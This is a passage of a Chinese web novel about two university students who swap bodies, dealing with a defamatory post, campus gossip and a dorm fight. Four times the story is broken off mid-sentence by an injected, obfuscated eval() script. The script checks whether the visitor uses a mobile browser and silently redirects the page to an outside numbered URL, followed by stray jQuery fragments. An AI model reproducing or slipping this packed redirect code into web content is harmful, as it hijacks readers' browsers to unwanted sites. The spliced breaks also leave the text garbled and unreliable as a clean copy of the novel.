她气得手抖，但还是先行安慰了明显比她还要激动的闺蜜：“雨濛，你先别急，我大概想起来了是谁拍的照片。你放心，这个我一定追究到底。” 程雨濛气了半天的心情终于平静了一点，安慰自己乳腺重要，乳腺重要，顺了好几下气才继续说：“谁啊，太过分了，这帖子完全是恶意造谣！” 接着她又问道：“那个照片是ai合成的吗，他们怎么能这么坏？” “不是不是，这个真不是。哎，那天的情况我见面再给你讲，总之那个男生是我们同校的。” 旁边自从雇主疑似发飙的短发摄影师从偷听的只言片语中获得了关键词，悄悄打开手机搜华可吟的名字，从实时里摸到了原博。 她猜测今天华可吟应该是没心情继续拍照了，降低存在感在旁边急忙扒拉了几口蛋糕，等到华可吟打完电话又出口安慰了她几句： “网络上就是什么人都有，有些人就是墙头草，一点自己的判断都没有。” 摄影师又继续说：“要不咱们今天就先结束？按之前的小时收费就行。” “拍完吧，再拍几张。”订金已经交完了，今天原本的计划是还要再去一家店拍摄两套衣服。 而且甜品店的场地拍摄费她也交完了，再怎么她也要把这家店剩余的一个小时拍出客户满意的照片。 摄影师原本还担心华可吟刚才波动极大的情绪无法平复下来进入拍摄状态，没想到华可吟在柜台旁摆开姿势，仍旧是完美的线条，眼神中却比之前多了几分锐利，和今天要展示的黑色西装外套更搭了。 摄影师：......真是个好模特。 华可吟看完相机也觉得不错，麻溜给摄影师结完款后打开了手机。 手机上有不少朋友同学看到了帖子来关心、询问她。 那是个粉丝不少的营销号，坚持靠这种有关网红的似是而非的匿名私信博取眼球，传播量也不低。 华可吟一一回复自己没事并且已经准备处理了，等回复到柏随远聊天框时，华可吟觉得有点愧疚。 两个人的微信只有两句加上好友后的自我介绍，接着就是柏随远这次发来的询问了。 她被造谣的文章里出现了对方的照片，确实是一场巧合，但华可吟还是发去了道歉。 —sing：抱歉，不好意思害你的照片被发上网了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334478|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —road：没事，我的正脸没有漏出来，对我影响不大。 认出柏随远的人很少但也不是没有，因为他的衣服不多，出镜的那套是他最常穿去上课和自习的。 有同系相熟的几个同学和学长发来消息询问，大部分人都不会相信他是什么特殊行业人员，他只能回复两人有私事处理。 但总有那么一两个。 比如此刻正在他床边状似无意聊“人不可以赚脏钱”，语气里却兴奋又羡慕的室友。 柏随远心里：脑残... 华可吟回完消息立马打给了程雨濛。 “气死我了，我有预感我今天会睡不着。”华可吟打开手机预订了一间带浴缸的豪华酒店套房。 “我也是！吟宝你要怎么处理。” “直接报警。” “我陪你一起去，你在哪？” “咱们在离学校最近的警局门口见。报完警住外面吧，我在伊蔓定了房，咱们两晚上在那好好解压。” “好！” 两人迅速在警局门口汇合，警察出警速度也很快，收集了华可吟手机上的证据后带着两人一起去伊蔓酒店调监控。 仅仅四天前的大堂监控非常好找，立马确认了画面里光头男正在拍照的镜头。 “麻烦您了。”华可吟送走搜集完证据的警察。 “这次证据充足，对方应该会被拘留五日以上，十日以下。” 等警察一走，旁边一直没出声的程雨濛差点哭出来：“吟宝，你受了这么大委屈，造谣者居然只拘留几天，凭什么啊？” “是啊，凭什么他攻击了我这么多却只用去拘留所呆几天...”华可吟想到自己被恶毒评论全面占领的社交软件，心里的一口气怎么也顺不下去。 “走，咱们点点外卖享受按摩浴缸去。”华可吟拍拍程雨濛哭丧着的脸，大气地表示包了两人今晚所有费用，“想吃什么喝什么现在快点。” 赚了钱不就是要在伤心难过时找个好地方享受享受吗，华可吟意识到还有一场硬仗要打。 虽然把造谣者交给了警察，可她还需要找律师要求发文的微博号道歉，以及准备一份发在自己账号上的公关文案、视频。 “算了，不想那么多。今天先解放了压力，烦心事明天再说吧。” 华可吟刷进套间后正准备跳上大床好好放松，背后一只手抓住了她的袖子。 “等等，男模的事你还没给我解释呢。”阴测测的声音响起。 程雨濛是华可吟从初中到现在都同校的好朋友。 两个人一起长大，分享了无数青春期的秘密，甚至华可吟当初开始做自媒体账号都是在程雨濛的鼓励与支持下才有现在的好成绩。 如果说她妈是世界上最了解她的人，那雨濛肯定是第二——超过她爸。因此华可吟在程雨濛询问过后就把她和柏随远身体互换的事情告诉了她。 “这么大的事，你怎么现在才告诉我！”程雨濛毫不犹豫地相信了，反倒因为自己没有第一时间知道而鼓起了嘴。 5. 小言标配 “你是第一个知道的人，我保证。”华可吟举起三根手指发誓。 这事确实太奇幻了，她本来不想告诉任何人，谁知道有人那么欠地偷拍传上网。 “也就是说你们一起呆了十二个小时？”程雨濛看着照片里的背影和微微露出的半张侧影，眼神揶揄地询问。 “打住！我俩啥都没干，我剪视频他搞竞赛，我们两奋斗到深夜。”华可吟一听闺蜜的语气就知道她在想些什么。 “这样的‘奋斗’有什么意思。正脸帅吗？” “还行。”华可吟想到柏随远那张面无表情的脸，其实挺对她胃口的，但要真的这么回答了，程雨濛肯定问个没完没了。 “你说他是我们学校的，那个院的呀？” “计算机系的，叫柏随远。”华可吟随口回答。 “什么！！！这就是计算机系那个学习好，人长得也帅的大学霸啊。” 程雨濛兴奋起来，手舞足蹈地说：“你们两，一个是聪明美貌的善良女主，一个是帅气高冷的学霸男主，现在发生了这么奇幻的事，这不就是小言标配吗！” “打住，打住！我们两，一个是穿成陌生男人也要在酒店里剪好视频发给甲方的守财奴，一个人是穿到陌生宿舍也要穿着睡裤找电脑赶deadline的卷王，这是标配吗？” “...也挺配的，两个人在一起即有人赚钱又有人赚绩点。” “濛濛，几天不见磕cp能力见长啊。”华可吟摇头语气沉沉道。 “什么叫磕，就是天下任意两个人在我眼里都有糖。” “行，那你磕偷拍的光头男和发造谣文的营销号吧。” “...我磕他们两同时被车撞、被驴踢，同时破产后锒铛入狱被狱友‘特殊关照’！” “磕的好，这很配。”两人同时点头。 * 第二天两人都睡到了中午自然醒，昨天聊到晚上，两人坐在电视前边看最新的电视剧边小酌了几杯，凌晨睡得很沉很香。 昨天晚上询问了另一个自媒体朋友后，华可吟收到了有着无数诽谤罪案件经历的罗律师的联系方式。两人越好见面时间后，华可吟长长舒了口气。 现在她要做的除了关注后续警局和律所的动态，就是自己准备这次诽谤事件的公关了。 她一直没有签mcn公司，账号积攒如此多的粉丝，虽然有点运气原因，可也跟她一直提升内容质量，维护个人信誉有关。 她的粉丝画像大部分都是女生，甚至绝大部分都是比她小或正好与她同龄的女生。 这些人关注她的原因可能是因为她照片展示出的漂亮，可能因为她教育背景透露出的聪明。 但她可以确定的一点是，自己这个体量、这个粉丝构成的博主，所表现出来的价值观无疑能影响到关注她的未成年女孩们。她们很有可能抱着羡慕、想成为和她一样的人的心情在关注她。 虽然网络上展现的形象比真实的华可吟更“自律”、更“完美”、更“虚假”…她不会把自己的缺点与烦恼透露给所有人，但她到现在为止能毫不犹豫地说自己问心无愧。 所以这次对她堪称“人设崩塌”的造谣内容，她必须得严阵以待，拿出证据强有力地打向那些居心不良之人的脸，继续自己积极、正向的大学生账号。 等了十几天，就得到了光头偷拍者被判拘留十天的消息，律师那边也正式进入了诉讼流程。 其实，拘留信息和律师函就足够证明她是被人诬告的，可那些关于“作风”的指责像是癞蛤蟆一样难缠。 她很想回复一句“姐成年了，和男人进酒店合规合法”，可这样的发言对于还处在未成年阶段的关注者们显得有些不负责。 其实也可以解释他们是去准备比赛，是工作的正常交流或者直接说去参加什么活动，但是这样的谎言太容易被扒出来，可信度也不高。 评论里已经有人指出了华可吟身上穿的是睡裤，根本不能往社交场合引导。 最终，她决定在公关文案中将重点放在偷拍与诬陷，照片部分则采用营销号一样的春秋笔法——只强调她和照片中男人的关系“合规、合法、正常、健康”。 当然，这样的处理方式得先征得柏随远的同意。 —sing：我可以先这样发，一个月大家淡忘后再说分手了，行吗？你放心，等你后续有喜欢的人或者觉得生活被打扰，我立马把分手时间提前。 —sing：我保证会保护你的隐私，我已经和一家mcn谈好了合作，他们会帮我处理这段时间的网上舆论。 —sing：这次真的是既连累你又要麻烦你，我保证就在近期，网络上你那张背影照都会尽量删除。 柏随远看到华可吟发来的消息并不意外。他早就想到了，一对男女夜晚在酒店开房的画面，可以延伸的负面想象太多了。 何况，其实那天是他必须得回到酒店来完成他的竞赛建模，也是他先决定两人晚上都住在酒店的。 所幸他现在完全没有喜欢的人，也没有谈恋爱的打算。 —road：我没有喜欢的人，不用在意时间长短。 —road：事情是因我而起的，你不用再说抱歉。 华可吟看到这个回复欣喜极了，原来柏随远比她想象的还要热心。这种私人关系被放在互联网上的感觉不是每个人都能忍受的，可能柏随远的同学就有从照片里认出他的。 想到这里，华可吟又发去几条。 —sing：太感谢你了，帮了我好大的忙。 —sing：要和你的朋友们解释吗，我随时可以去。 —road：不用，不是大事。 华可吟悬着的心终于放了下来，当天晚上就和程雨濛一起找了块正式点的背景拍摄剪辑完视频上传到账号。 华可吟的文案写得条理清晰，叙事完整，除了极个别上网就是为了喷人的账号，大家都留言跟她一起抨击这种胡乱偷拍造谣的现象，事情解决得比华可吟预想还要顺利。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334479|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过她估计私信还是得过一个月才能看，于是愉快地决定下个月减少工作，多在学校休息一下精神，学校的氛围比起网络环境可清新多了。 网友们看了华可吟的视频就明白了这是场有心者的造谣，可学校里却不知怎么的，周围同学都知道了柏随远交了一个搞自媒体的同校女朋友，连柏随远课下去找院里负责竞赛的老师汇报之后都得到了几声调侃。 “小柏啊，交了个这么漂亮的女朋友也要继续认真学习啊。” 知道了华可吟脱单了的人更多。华可吟从小学起就因为漂亮又开朗，是班级里的热门人物，上了大学后因为视频工作占去了大部分时间才没有参与什么班级活动。 身边从小到大的同学好友几乎都关注了她的账号。起初照片放出来，因为带点桃色性质，大家来安慰她时都没好意思询问照片男生的身份。现在得到正主板上钉钉的承认后，一时八卦她男朋友身份的消息充满了微信、□□。 华可吟的妈妈孟苏也在看到视频的第一时间打来了电话。 “可吟，这么大的事怎么不告诉爸爸妈妈啊，我们看到视频才知道你受了这么大委屈。”孟苏的声音包含浓浓的关心和自责。 “妈，我都处理好了，没那么严重，你别担心。” “唉，你这孩子，下次可一定要先告诉家里啊。”父亲华荣也在电话那头提醒。 “那个偷拍的人，他出来之后不会报复你吧？” “他敢！警局那里登记了他的资料，我猜他是没胆子再报复我。”华可吟安慰父母，不想他们为自己担心。 夫妻两听了后明显松了口气，华荣戳戳妻子的手肘让她开口，孟苏撇了老华一眼才开口说： “对了，可吟，那你是交了个男朋友？上了大学可以谈恋爱了，但你也得要有安全意识，爸爸妈妈这个不用给你细说的吧。” 华可吟听得想笑，中学时期坚决要求她不能谈恋爱的爸妈居然在大学后一下跳跃到保护措施的话题上。 “那天是他去给我送电脑被拍到了。”顿了顿她又补充：“其实也不算定下来了。” 华父立马接道：“对对，现在小年轻可不要结婚太早啊，你可以多接触接触的。” 华可吟扑哧一下笑出声：“行，我多接触，挑个最好的才有资格往家里带。” 和家里打完电话，华可吟继续回消息。居然还有个同系的男生像是被激起了胜负欲一般给华可吟连发了十几条，中心思想大概是等华可吟想和男朋友分手了，他希望当下一个。 丝毫不记得和那个男生有什么交集的华可吟：... 回到寝室后她忍不住把这件事告诉了室友，这种搞笑的事情还是说给共同认识当事人的人才最有趣。 “他...”李凌又吐槽了几句那个男生的奇葩事，华可吟连连称奇。 “你男朋友就是那个计算机系的柏随远啊。”李凌换了话题问，她有点好奇华可吟的恋情，但和华可吟交流不多，见华可吟回来主动说起男生才敢问。 6. 昏暗教室 “是他。”华可吟已经解释了一天男朋友的身份，答应起来很熟练。 “哇，听说他学习好，人也特别帅。” “哈哈。”华可吟换上微笑，不知道怎么回答，接着状似无意地先打预防针：“我觉得校园恋爱还是要多感受，万一交往的男生不合适呢？” “对，接触的人多了才有经验。”李凌点头，赵子彦则是一副受教了的表情。 “哼。”另一边林书萍在这时发出一声轻笑，华可吟觉得她态度奇怪却也不知原委。 李凌知道林书萍曾经在背后批判过华可吟这种分心网络、不认真学习行为不好，立马打圆场道：“好了，快去洗澡吧，等会人该多了。” 林书萍的中学是严格执行军事化管理的重点学校，上大学后也一直保持着这种作息和习惯。 一开学就碰到三天两头拍视频的华可吟，虽然对方完全没影响到自己，可看着对方上课来的晚、休息到处跑的行为，还是有点恨铁不成钢。甚至最近听说她谈恋爱之后又常常去开房，林书萍更加觉得自己上大学可不能上成华可吟那样。 李凌知道林书萍学习最高的观念，也知道华可吟副业做的很不错的事情，两个人她都能理解。她也觉得林书萍的观念有点极端，她暗示地劝过几回也没用。 已经成年的年纪，大家早就不是只会站队的小学生思维了。华可吟平时和李凌接触不多，林书萍却有好几个会分享资料的学长学姐，平日跟谁多交朋友很好选择，都是人之常情。 * “你们干脆假戏真做得了，我看柏随远能答应这要求，对你也不是完全没意思。”程雨濛喝着奶茶问面前低头写作业的华可吟。 “人家真没这意思。”华可吟低头做高数题，马上就要期中考了，她很想吐槽为什么都上大学了还有期中考试。 有热心学姐给她分享了往年S大的高数卷，知识点这么一混杂，有些题看着答案她都有点一知半解。 明明高考数学也还不错，怎么上了大学学数学就这么难了！ 今天还是她第一次进图书馆呢，要是这句话被其他S大的同学知道了恐怕能把她嘲笑上天。 图书馆有四层，是采光很好的天井设计，整体非常明亮整齐。华可吟和程雨濛两人就坐在一楼天井下，这里是几个四座圆桌，相对距离比较远，正方便两人交谈。 正午阳光直照，旁边的同学有几个甚至带着帽子在自习。程雨濛喝着奶茶玩手机，她是艺术生，虽然压力一样很大，课程安排却比华可吟轻松些。 “大家可真卷，这图书馆前还不到七点四十就站满了排队等着抢位置的人。”程雨濛摇摇头吐槽：“我跟你说，我们班也都特别卷，你能想象到他们画作业的速度有多快吗？” “我们专业同学也都挺努力的。”每次周末华可吟起床时寝室都只剩她一个人，舍友都去图书馆了。 “咱们两有地方坐已经很不错了，我刚看到好几个睡完懒觉才来的同学从这边走过去。” “高数真不是人学的啊。”华可吟声音幽幽。 “嘿嘿，我是人，我不用学。” “走开...” * 周五下午，华可吟去上公选课。S大要求学生必须在三年半休满四门公选课，共8个学分。 华可吟选的这门课程，每节课老师都会放不同的影片观看，而结课要求就是最后挑选一部电影写几千字的观后感。 比起那些内容难、要考试的课，这节电影赏析简直是神仙课程，听说每年一开放就被抢完了，这个学期不枉华可吟抢课当天跑到网速最快的阳台疯狂刷新。 今天她来的比平时晚了几分钟，就这几分钟的差别，后排座位全部被占满了。 S大几乎所有课都有占座现象，需要认真听的课抢不到前排座，摸鱼的水课抢不到后排座。 而华可吟就是那个，好课坐后面听不清，水课坐前面被老师盯着的倒霉蛋。 还好要用投影仪播放电影，加上这节公选课在周五最末两节，往常都是一上课就关灯放影片。 黑乎乎的教室玩手机太明显，也写不了其他习题，华可吟就算是想认真观看，也往往撑不了几分钟就睡着了。 从教室后往前走，直到最前面两排才有空位，不过她居然在教室第一排看到了一个熟悉的身影。 华可吟上前拍拍对方的背，打招呼道：“你居然也选了这节课，我之前都没看到你。” 柏随远没有被吓到，停住正在做高数题的笔，幽幽道：“嗯，转班了。” “什么？公选课还能现在转班？” 柏随远没说话，继续低头写着什么。 “那你原来上的什么课啊。”华可吟好奇地问。 “爬树。” 男生的脊背一如既往挺得笔直，可华可吟觉得这个背影带着一丝紧张。 爬树也是S大的特色公选课，比电影赏析还受欢迎。华可吟知道这门课会在一学期内教会同学徒手以及使用工具攀爬树木，最后的考核也是规定时间内攀爬指定的树。 这门课即有趣又在户外教学，很少有人会退课。华可吟思考了良久，一个念头出现在她脑海里，柏随远不会是...三个月了还没学会爬树吧？ 她越想越觉得这就是真相，不好意思直接问柏随远，坐在他旁边的位置上却忍不住笑了出来。 一边做题一边分心留意旁边动静的柏随远也大概猜到了她在笑什么。 爬树课上老师教了他好几种抓姿、握姿，他却迟迟都无法成功学会攀爬。 也许就是四肢不协调吧，柏随远想起自己高中参加了一次元旦晚会后跳舞视频被私下传播的事，明明他跑步、打羽毛球都还不错啊。 上一节课看到同学们经过学习，已经能够像猩猩一样自由穿梭在树枝间后，他放弃了。为了不让公选课的成绩影响本学期绩点，他联系了好几个老师，最终中途转到了电影赏析课，只是他没想到华可吟居然在这个课上。 这节课之所以又好抢、又好转，当然是是因为它的排课时间。周五晚，在大学生的观念里已经属于周末的范畴了！ 每周五因为这节课比别人晚放假两小时，一个学期加起来可是不少时间。因此，让华可吟内心美滋滋的“抢课手速”，其实是场美丽的误会。 华可吟拿出手机例行检查了一下自己的微信，这周的工作消息都回完了，真好。 她放松地深呼吸，教室里已经暗了下来，前面的大屏幕上是一部舒缓的文艺片。 这部电影很有名，华可吟看过不下两次。正在播放的画面是女主跑到异国，遇到了拉手风琴的老人，之后老人为她讲述自己的一生后女主顿悟... 华可吟在心里回忆着剧情，眼睛慢慢闭上了。 这部电影柏随远没看过，他从小大部分时间都花在学校和课外班上。 之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334480|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问电影赏析的老师要了这个学期已经播放过的电影列表，他发现他只看过一部经典大片，他打算这周末集中时间看完其他的，期末再选择他最想写的那部完成赏析论文。 电影播放到此时，柏随远还是看不明白主角为什么非要跑这么远，又为什么众人都懂得道理从陌生老人口中说出来就格外有效？ 他认真思考总结着这部影片的中心思想，肩膀处却忽然压上来一点重量。 柏随远想移开身体，他不习惯这种接触，却有一股熟悉的清香散入鼻腔。 是那天早晨换回身体后他把华可吟抱上床时身上萦绕的淡淡果香，奇怪的是两人互换后他从未在自己身上闻到。 可能是太累了吧，柏随远想了想决定把自己的肩膀借给她两节课，又偷偷调整了点角度挡住了讲台上坐着的老师可能扫来的目光。 * “醒醒。” 一声低沉柔和的男声从阳光沙滩上晴朗的天空中传来，梦里的华可吟慌张地朝四周张望。 现实里她呼吸的频率倏地变快，柏随远察觉到轻微的热气喷向自己的肩膀。 他从来没有和异性有过如此亲密的接触，第一次靠得这么近，居然还是在如此昏暗、安静的场合。 黑暗中看看教室墙壁上的表，他挥去心中的杂念，决定用动作把熟睡的华可吟叫醒。 身体感觉到一阵晃动，华可吟才从考完试去热带海边旅游的美梦中清醒。 “不好意思啊。”华可吟小声道谢。 “还有两分钟下课。”男生仍旧专注着看着电影的目光，好像刚才的动作都不是他做的。 她怎么上课睡到别人肩膀上去了，柏随远会不会觉得她是故意的... 算了，随便他怎么想呢，反正这觉睡得很香。 铃声一响，老师还没等开灯就先说了下课，果然同学们都窜得飞快，华可吟也紧随其后。 柏随远看着女生利落离开的背影不自觉愣了几秒，然后才起身往外走。 背着因为带了电脑十分沉重的书包骑车回宿舍，这就是计算机系学生人均的每日力量练习。 坐在他们后一排的女生看到两人都走了，也不急于出教室了，而是拿起整节课都没能玩成的手机，心急如焚地打字。 —你记得我上次说我和咱们学校那个网红一个班吗？ —记得啊，华可吟嘛，你说她本人比视频里还好看。不过你不是说人家上课挺认真的，没有传言里那么高调吗？ —她看起来是挺低调的，可今天她男朋友来了！！！ —男朋友？她视频里说过的那个吗？后来再没提到过了，我以为她早就分手了呢。 —没分，可甜了！她和她男朋友坐我前面，老帅了。 —害，美女配帅哥不是天经地义？ —真的很甜，华可吟枕在他男朋友肩膀上睡着了，她男朋友整堂课都挺着背没换过姿势。 —嚯，听你这一描述，赏心悦目的情侣这样还真是有校园纯情片的感觉了。 —妥妥的。 接着女生不等朋友回复，又打开了另几个头像分享这场甜蜜的见闻。 他们都没想到网络时代消息传播速度有多惊人。 不久后，当华可吟视频底下的评论出现询问男朋友不出镜是不是分手的时，没过多久就会有人回复。 “好着呢，上次还看到同校同学说他们天天一起上课。” 7. 再次互换 骑着赛车停到宿舍楼下，柏随远想到又要回宿舍面对陈东，有点心烦。 果然进了门没多久，陈东一口公鸭嗓又开始发言：“到了大学想要成绩好还是得要学会讨好老师、讨好学长啊。” 柏随远大概猜到了，陈东应该是从哪得知了自己有新的和学长一起做的项目后嫉妒。 就当是苍蝇在耳边飞吧。 没想到那人还不停止，手上打着游戏，嘴里继续输出：“对了，你女朋友华可吟身材好吗，视频里她都穿得太多了。”说罢还猥琐地笑了几声。 柏随远前几次对于自己的风凉话都理会，这样的态度让陈东有种自己在无理取闹的感觉。这次他想到对方还有个那么漂亮的女朋友，忍不住嘴碎到了华可吟身上。 手里还在激战的手机突然被抽走，陈东怒不可遏，抬起头刚想骂人就看到一个拳头朝自己的脸打来。他闪躲不及挨了一拳，当时就倒在了椅子上。 另外两个室友见情况不对，赶紧上前抱住似乎还想动手的柏随远。 “不要再说那么过分的话。”柏随远说出这句后气息才逐渐平稳了过来。 陈东被打得眼冒金星，他怎么也没想到平时连回怼都不会的柏随远会直接上手，也没想到看起来白白瘦瘦的柏随远力气居然不小。他愤怒又羞愧地喊道：“你居然打我，好，我要去举报你。” 旁边两个室友又立马转来安慰他。 “这不是你先说人家女朋友的吗？你被打也不无辜。” 舍友还有一句“正常人都干不出来这事”没好意思说出口。 陈东可不管别人的劝解，立马掏出手机拨通辅导员的电话。 对面的柏随远揉揉接触对方鼻梁的手背，漠不关心地说：“随便你。” 辅导员是个平时很和善的年轻男老师，接到这个突发事件的电话后，马不停蹄地从教师宿舍赶来了。 陈东刚才流了几分钟鼻血，血迹干了后他也没去厕所收拾，现在脸上、胸前一片血迹斑斑。 看到辅导员来了，他撇着嘴露出一脸委屈的样子，属实有点辣眼睛。 李老师从电话里得知是柏随远打了陈东，心中有点难以置信。在老师眼里，柏随远是个踏实学习、态度端正，虽然不爱讲话但很尊师重道的学生。在辅导员眼里，他还是形象好、颜值高，自律进取，虽然为人有点高冷了但从来都是很礼貌的同学。 李老师先检查完陈东的伤势，不太严重。随后转头去看柏随远，柏随远一脸平静，好像什么都没发生一样。 李老师一时不知道该怎么和柏随远交流，就先询问了两个室友作为目击者的证词。两个室友没含糊，把事情的来龙去脉，以及陈东之前好几次挑衅的行为都说了出来。 李老师听完这些一脸菜色地对坐在椅子上的两人说：“这事你们两都有错，闹大了对谁都没好处。陈东，我记得你之前还有些骚扰女同学的传闻，这件事也还没处理呢。” 陈东本来还坚持维权的心一下凉了半截，他对女生有好感，怎么能称之为“骚扰”呢？又想到平时就喜欢柏随远的老师们，满脸不服地低头答应：“嗯”。 李老师懒得理会两人的表情，立马从随身带的公文包里找出纸笔，递给两个人写道歉信和谅解书。接着又说：“柏同学还是得赔偿陈同学一点医药费，不然明天我们三个人一起去一趟医院，到时候再把这部分补到书面上。” 陈东没想到居然还有赔偿这一项，脱口而出：“我要一千，我现在很不舒服。” 李老师听到这话心里又有点恼火，刚想再劝劝陈东，就听到了旁边一直没出声的柏随远开口了。 “八百，以后闭嘴。” 说罢拿起手机给陈东转账，截图保存后删除了对方的微信，当场把赔偿款写清楚了。 他不想和这人再有什么牵扯，谁知道对方过去一晚上会不会再想出什么损人不利己的事情。 李老师收好三人签完字的文件，心里总算松了一口气。当辅导员很累，管理一群刚进入成年的冲动孩子真的太费心神，没看他这个点都要加班处理学生间的纠纷。 “李老师，今天麻烦你了。”柏随远送老师到门口，语气诚恳。 陈东也立马跟上，心里想果然是会拍马屁，但这次他不敢说出声了。 柏随远看到陈东过来也丝毫没有压低音量道：“老师，您也看到了，我们关系不太好。下个学期我能换个宿舍吗？” 虽然他已经决定下学期会租房外宿，但偶尔来睡午觉，或者应对不时之需还是很有必要的。 李老师看了一眼陈东还没擦去血迹的狰狞的脸，应了声行后快步走了。 柏随远转身向两个室友道谢，目光扫过陈东时没有半点停留，仿佛他根本就不存在。 陈东攥紧了拳头，这账还不算完。 * 华可吟对宿舍里发生的事情毫不知情，她战战兢兢地完成了期中考试，回到寝室就得继续处理上周因为复习没来得及处理的工作。其中最重要的是一个之前就签好合约的国货品牌面膜直播。 这几年网购十分火热，直播带货因为可以直观展示、互动性强，越来越多的商家重视起了这一销售渠道。 “羽汇”是近年新成立的护肤品品牌，他们最新推出的是一款适合年轻肌龄的补水面膜。在公关部的一番挑选后，选中了几个条件达标，口碑也不错的网红，华可吟便是其中之一。 对方的产品质量过硬，品牌形象良好，报价优厚，对接人员的态度也很友好，华可吟便欣然接受了这次合作。品牌把她的直播安排在了12月14号，前几天分别是代言人直播和几个带货大网红的直播，轮到她时压力相对较小。 直播流程和产品信息已经被发送到了华可吟的邮箱，她的记忆力不错，对于护肤品的理解也很成熟。不过毕竟是首次进行这样的直播，她还是严阵以待，认真准备了一周，还仔细观看了羽汇的前几场直播。 13号是周六，她一大早前往对方公司进行彩排，大致确定了明天的造型，并且提前熟悉了一下要合作的工作人员。 “可吟，您表现得真好，口齿清晰，人也好美啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334481|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”助播叫可可，是个非常专业的女孩，明天直播间的节奏主要由她来掌控。 “谢谢，明天还是我配合您这个专业人士，我第一次直播还得多学习。”不知道是哪来的风气，华可吟一到这公司就被叫“华老师”，她不太适应地让身边人还是喊她名字。 走完流程加上复盘，时间到了晚上八点半。直播行业的工作人员作息和其他行业差别很大，送华可吟走后，他们还将一直忙碌到深夜。 回到距离羽汇不远的酒店，品牌方工作人员今天还送了她不少自家产品和代言人周边。她又拿出了刚刚复盘时记下的不足之处，用平板的自拍摄像头对着自己录视频，反复练习，调整状态。 一直练到十点，华可吟才躺在床上准备入睡，明天的直播是从晚上8点到10点，在线人数据说会有几千，她必须在高清镜头下保持最佳状态。 朦胧的梦里，正做着数学题的华可吟又感到一阵头疼。 她猛然睁眼，过了几秒才确定，居然又互换了！ 依旧是柏随远的身体。华可吟把看不懂内容的电脑移开，照镜子后确认了自己的身份。 拿起手机，时间是22:41。 她用微信和柏随远联系上，两人还是决定今晚待在一起，以免再出现什么特殊状况。 这种怪事可不是经历过一次就能习惯的。 这次柏随远没要求带什么东西，华可吟刚把外套套上就觉得不对劲。柏随远的睡衣裤是经典格子样式，材质也是纯棉的，比上次她的睡衣更不适合穿出门。 打开柏随远的衣柜，里面的衣服很少，但叠得整整齐齐，这有点让华可吟不好意思自己动手翻找，她打开微信找到自己头像的聊天框。 —road：你要穿哪件衣服？ —sing：最顶层的深灰色毛衣，黑色裤子，挂起来的第一件黑色大衣。 华可吟取下柏随远提到的衣服，眼睛瞟到了下一层最上方的秋裤。 “算了，别把他冻到了。”华可吟心想自己真是善良，抱着这几件衣服走去了厕所。她实在不好意思在男生宿舍里换衣服。 一直分神默默观察着柏随远的陈东看到这一幕，心想真矫情。 他记得自己刚开学就看到过柏随远换衣服了，身材是比自己好点...算了，不想了。 华可吟站在狭小的卫生间里，努力让自己的身体不接触到墙壁，手抓住裤边，心中默念：“非礼勿视，非礼勿视。” 裤子已经褪到臀部，她突然想到：把睡衣穿到里面不就行了，上次柏随远也是这么给她穿衣服的呀。 想到关键处，华可吟飞快把裤子提了回来，情急之下眼睛似乎瞟到了什么。 当没看见，当没看见。 睡裤、秋裤、外裤，裤子套了一层又一层，还好柏随远腿不粗，看起来并不奇怪。 整理好自己，华可吟装好手机、宿舍卡和身份证，和室友说了声“今晚不回来”，就出门了。 背后三个室友呆了几秒后面面相觑，柏随远什么时候出门还报备过？ 8. 上厕所 夜色已深，出租车在酒店门口缓缓停下。打车到酒店花了四十分钟，这次华可吟嘱咐柏随远不要下来，自己开了同层的另一间房，走到柏随远所在的房间后敲门进去。 “今天又是十点四十换的，和上次正好隔了一个月。”华可吟进门便说道。 “嗯。”不知道以后是不是每个月都要换一次，柏随远刚刚在房间思考着这个恼人的猜想，闭目养神到现在。 “新开的房间在407，不过不在隔壁。”华可吟晃晃手中房卡。 “好。” 